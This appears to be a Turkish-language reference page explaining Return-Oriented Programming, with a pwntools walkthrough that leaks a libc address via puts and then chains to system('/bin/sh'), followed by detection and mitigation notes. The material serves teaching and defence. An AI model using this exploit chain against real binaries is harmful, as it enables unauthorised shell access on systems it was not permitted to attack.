Return-Oriented Programming (ROP)¶
Executable bellekte zaten var olan, her biri
retile biten kısa instruction dizilerini ("gadget'lar") zincirle; stack'i sentetik bir instruction pointer gibi kullanarak code inject etmeden arbitrary hesaplama yap.
Mechanism¶
Note
NX/DEP, stack'i ve heap'i non-executable yaparak klasik shellcode injection'ı
etkisiz kılar. ROP bunu tamamen atlatır: hiçbir zaman attacker'ın sağladığı
byte'ları code olarak çalıştırmaz. Bunun yerine mevcut executable byte'ları
yeniden kullanır. Invariant, ret'in davranışıdır: stack'ten bir word'ü rip'e
pop'lar. Yani bir attacker bir dizi stack belleği kontrol ediyorsa (örneğin bir
stack overflow ile), bir adres listesi kontrol eder. Her adres kısa bir
"gadget"'a işaret eder — ret ile sonlanan birkaç işe yarar instruction. İlk
gadget'ın ret'i ateşlendiğinde sonraki adresi pop'lar; o sonraki gadget'tır,
onun ret'i bir sonrakini pop'lar ve böyle devam eder. Stack böylece ikinci bir
instruction pointer gibi davranır ve gadget dizisi, victim'in kendi (veya libc'nin)
code'undan parçalarla bir araya getirilmiş yeni bir programdır.
pop rdi; ret gibi gadget'ları argüman register'larını yüklemek için, ardından bir
fonksiyonun adresini seçerek bir attacker arbitrary fonksiyonları çağırabilir — en
yaygın olarak system("/bin/sh") ya da bir mprotect+shellcode veya execve zinciri
— tamamen güvenilir, executable page'lerden.
Walkthrough¶
1. Gadget'ları ROPgadget veya objdump ile listele:
ROPgadget --binary ./vuln | grep ': pop rdi ; ret'
# 0x00000000004007c3 : pop rdi ; ret
ROPgadget --binary ./vuln | grep ': ret$'
# 0x000000000040052e : ret
gdb'de (pwndbg/peda) interaktif olarak arama yapabilirsin:
2. pwntools'ta bir zincir kur. ROP objesi gadget'ları çözer ve adresleri
senin için pack'ler:
from pwn import *
elf = context.binary = ELF('./vuln')
libc = elf.libc
rop = ROP(elf)
rop.raw(b'A' * 40) # padding to saved RIP
rop.call(elf.plt['puts'], [elf.got['puts']]) # leak a libc address
rop.call(elf.sym['main']) # return to main to re-exploit with libc base
print(rop.dump()) # human-readable view of the chain
rop.dump() çıktısı
3. İkinci aşama — puts libc'nin runtime adresini leak ettikten sonra, libc
base'ini elde etmek için symbol offset'ini çıkar, ardından ikinci bir zincir
system("/bin/sh") çağırır:
libc.address = leak - libc.sym['puts']
rop2 = ROP(libc)
rop2.raw(rop2.find_gadget(['ret'])[0]) # 16-byte stack alignment for movaps
rop2.system(next(libc.search(b'/bin/sh\x00')))
Bu pattern (puts@plt + puts@got ile leak, sonra ret2libc) standart NX+ASLR
bypass'ıdır. İkinci aşama için ret2libc'ye, register kontrolü ve
syscall varyantları için ret2csu / ret2syscall'a bak.
Detection¶
- Fonksiyonların ortasına return eden ya da
retile sonlanan birçok kısa diziyi zincirleyen control-flow anormaldir; gadget density ve dengesiz call/ret oranları klasik CFI/heuristic sinyalleridir. - Öncesinde call olmayan ("call-ret pairing" ihlalleri) hedeflere giden yüksek
retfrekansı, yaygın bir shadow-stack / CFI tespitidir.
Mitigation¶
- Intel CET shadow stack, return
address'lerin korumalı bir kopyasını tutar; forge edilmiş bir adrese giden
herhangi bir ROP
ret'i uyuşmaz ve fault verir — en güçlü donanım mitigation'ı. - ASLR, gadget adresleri bilinmeden önce bir address leak'ini zorunlu kılar (PIE ana image'ı da randomize eder).
- NX/DEP, ROP'un bypass etmek için tasarlandığı savunmadır; tek başına ROP'u durdurmaz, ama CFI ile birleştiğinde çıtayı önemli ölçüde yükseltir.
- Stack canary'ler, çoğu ROP zincirini ileten overflow'u kırar.